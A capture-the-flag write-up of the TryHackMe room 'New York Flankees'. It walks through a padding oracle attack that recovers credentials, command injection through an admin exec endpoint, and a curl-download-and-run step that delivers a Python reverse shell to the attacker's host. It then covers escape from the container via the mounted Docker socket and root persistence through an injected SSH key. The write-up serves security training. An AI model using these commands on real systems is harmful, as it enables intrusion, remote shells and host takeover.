Post

TryHackMe: New York Flankees

New York Flankees started with using a padding oracle attack to discover a set of credentials and use them to gain access to an admin panel. On the admin panel, we were able to execute system commands and used this to gain a shell inside a container. After noticing the Docker socket was mounted inside the container, we abused it to escape the container and gain root access on the host.

Tryhackme Room Link

Initial Enumeration

Nmap Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.99.229
Nmap scan report for 10.10.99.229
Host is up (0.082s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 0c:1b:a1:5d:3e:06:bf:2a:f1:2f:19:e0:7a:1c:e1:77 (RSA)
|   256 e4:d1:99:64:f9:f1:18:11:28:91:7c:66:17:1a:96:46 (ECDSA)
|_  256 9b:94:08:b7:0e:b4:dd:0f:b9:16:39:0f:75:6f:60:68 (ED25519)
8080/tcp open  http    Octoshape P2P streaming web service
|_http-title: Hello world!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are two ports open:

  • 22/SSH
  • 8080/HTTP

WEB 8080

Visiting http://10.10.99.229:8080/, we get a simple blog.

Web 8080 Index

Clicking the Stefan Test button, we get redirected to http://10.10.99.229:8080/debug.html, where we find a couple of TODO notes.

The one about verbose error related to padding is interesting; we make a note of it.

Web 8080 Debug

And clicking the Admin Login button, we get redirected to http://10.10.99.229:8080/login.html, where we get a login form.

Web 8080 Login

Shell Inside Container

Padding Oracle Attack

Checking the source code of http://10.10.99.229:8080/debug.html, we find an interesting script.

Web 8080 Debug Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function stefanTest1002() {
    var xhr = new XMLHttpRequest();
    var url = "http://localhost/api/debug";
    // Submit the AES/CBC/PKCS payload to get an auth token
    // TODO: Finish logic to return token
    xhr.open("GET", url + "/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4", true);

    xhr.onreadystatechange = function () {
        if (xhr.readyState === 4 && xhr.status === 200) {
            console.log("Response: ", xhr.responseText);
        } else {
            console.error("Failed to send request.");
        }
    };
    xhr.send();
}

It makes a request with a AES/CBC/PKCS encrypted payload to /api/debug/<payload> endpoint.

Making the same request to the server instead of the localhost, we get the message: Custom authentication success

1
2
$ curl 'http://10.10.99.229:8080/api/debug/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4'
Custom authentication success

And if we change any of the bits in the payload, we get the message: Decryption error

1
2
$ curl 'http://10.10.99.229:8080/api/debug/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF5'
Decryption error

This must be the padding error mentioned. We can use this for a padding oracle attack to decrypt the encrypted payload.

We can perform the attack using this tool like this:

1
2
3
4
5
6
7
8
$ ./padre -u 'http://10.10.99.229:8080/api/debug/$' -e lhex -p 64 '39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4'
[i] padre is on duty
[i] using concurrency (http connections): 64
[+] successfully detected padding oracle
[+] detected block length: 16
[!] mode: decrypt
[1/1] stefan1197:[REDACTED]\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\... [64/64] | reqs: 7353 (113/sec)
      [!] Output was too wide to fit to you terminal. Redirect STDOUT somewhere to get full output

With the payload decrypted, we get a set of credentials.

Command Execution on Admin Panel

Using the credentials to login at http://10.10.99.229:8080/login.html, we gain access to http://10.10.99.229:8080/exec.html, where we find the first flag.

Web 8080 Exec

It seems the page also has a form for running commands.

Trying it with a simple command, we see that our command is passed to the /api/admin/exec endpoint with the cmd parameter.

Web 8080 API Admin Exec

Unfortunately, we don’t get any output for our command. But we can use curl to confirm that we are able to execute commands with the curl 10.11.72.22 command. (http://10.10.99.229:8080/api/admin/exec?cmd=curl+10.11.72.22)

1
2
3
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.99.229 - - [13/Jul/2024 01:22:09] "GET / HTTP/1.1" 200 -

We can use this to get a reverse shell by first making it download our reverse shell payload using curl and write it to the /tmp directory, then running it with bash.

Setting up our web server to serve our reverse shell payload.

1
2
3
4
5
$ cat shell.sh
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.72.22",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'                                     

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Making the server download and save it with the curl 10.11.72.22/shell.sh -o /tmp/shell.sh command. (http://10.10.99.229:8080/api/admin/exec?cmd=curl+10.11.72.22/shell.sh+-o+/tmp/shell.sh)

Now, running it with the bash /tmp/shell.sh command (http://10.10.99.229:8080/api/admin/exec?cmd=bash+/tmp/shell.sh), we get a shell as the root user inside a container.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.11.72.22] from (UNKNOWN) [10.10.99.229] 57770
# python3 -c 'import pty;pty.spawn("/bin/bash");'
python3 -c 'import pty;pty.spawn("/bin/bash");'
root@02e849f307cc:/# export TERM=xterm
export TERM=xterm
root@02e849f307cc:/# ^Z
zsh: suspended  nc -lvnp 443

$ stty raw -echo; fg
[1]  + continued  nc -lvnp 443

root@02e849f307cc:/# 

Shell as root

Escaping the Container

Checking the /app directory inside the container, we find the source code for the web application along with the Docker configuration used to spin up the container.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@02e849f307cc:/# ls -la /app
total 14672
drwxr-xr-x 1 root root     4096 May  8 12:25 .
drwxr-xr-x 1 root root     4096 May  8 12:25 ..
drwxr-xr-x 8 root root     4096 May  8 12:20 .git
-rw-r--r-- 1 root root      435 May  8 12:20 .gitignore
-rw-r--r-- 1 root root      381 May  8 12:20 Dockerfile
-rw-r--r-- 1 root root       58 May  8 12:20 README.md
-rw-r--r-- 1 root root      809 May  8 12:20 build.gradle.kts
-rw-r--r-- 1 root root      602 May  8 12:20 docker-compose.yml
drwxr-xr-x 3 root root     4096 May  8 12:20 gradle
-rw-r--r-- 1 root root       92 May  8 12:20 gradle.properties
-rwxr-xr-x 1 root root     8070 May  8 12:20 gradlew
-rw-r--r-- 1 root root     2674 May  8 12:20 gradlew.bat
-rw-r--r-- 1 root root 14959809 May  8 12:24 ktor-docker-sample.jar
-rw-r--r-- 1 root root       30 May  8 12:20 settings.gradle.kts
drwxr-xr-x 4 root root     4096 May  8 12:20 src

Reading the /app/docker-compose.yml file, we find the second flag among environment variables.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@02e849f307cc:/app# cat docker-compose.yml
version: "3"
services:
  web:
    build: .
    ports:
      - "8080:8080"
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
    restart: always
    environment:
...
      - CTF_DOCKER_FLAG=THM{[REDACTED]}
...

We also notice that the Docker socket is mounted inside the container.

1
2
volumes:
  - /var/run/docker.sock:/var/run/docker.sock

This allows us to interact with the Docker Engine and abuse it to escape the container.

Checking the available images first.

1
2
3
4
5
6
root@02e849f307cc:/# docker image ls
REPOSITORY               TAG       IMAGE ID       CREATED         SIZE
padding-oracle-app_web   latest    cd6261dd9dda   2 months ago    1.01GB
<none>                   <none>    4187efabd0a5   2 months ago    704MB
gradle                   7-jdk11   d5954e1d9fa4   2 months ago    687MB
openjdk                  11        47a932d998b7   23 months ago   654MB

We can use any of the images to create a container with the host’s file system mounted inside and get a shell on the new container, thus gaining access to the host’s file system as the root user.

1
2
3
4
root@02e849f307cc:/# docker run -v /:/host --rm -it openjdk:11 sh
# ls /host
bin   dev  flag.txt  lib    lib64   lost+found  mnt  proc  run   snap  sys  usr
boot  etc  home      lib32  libx32  media       opt  root  sbin  srv   tmp  var

And now that we have access to the host’s file system, we can read the third flag at /host/flag.txt inside the container (/flag.txt on the host).

1
2
# wc -c /host/flag.txt
70 /host/flag.txt

While this is enough to complete the room, we can also get a shell on the host by writing an SSH key to /host/root/.ssh/authorized_keys.

Generating the SSH key.

1
2
3
4
$ ssh-keygen -f root.key -t ed25519

$ cat root.key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL0x8c79iWtvXf/qLkmix8RLS+0xGCNYLnD92bVSDzuE kali@kali

Writing it to /host/root/.ssh/authorized_keys inside the container. (/root/.ssh/authorized_keys on the host)

1
# echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL0x8c79iWtvXf/qLkmix8RLS+0xGCNYLnD92bVSDzuE kali@kali' >> /host/root/.ssh/authorized_keys

Using SSH to get a shell.

1
2
3
4
$ ssh -i root.key root@10.10.99.229

root@ip-10-10-99-229:~# id
uid=0(root) gid=0(root) groups=0(root)
This post is licensed under CC BY 4.0 by the author.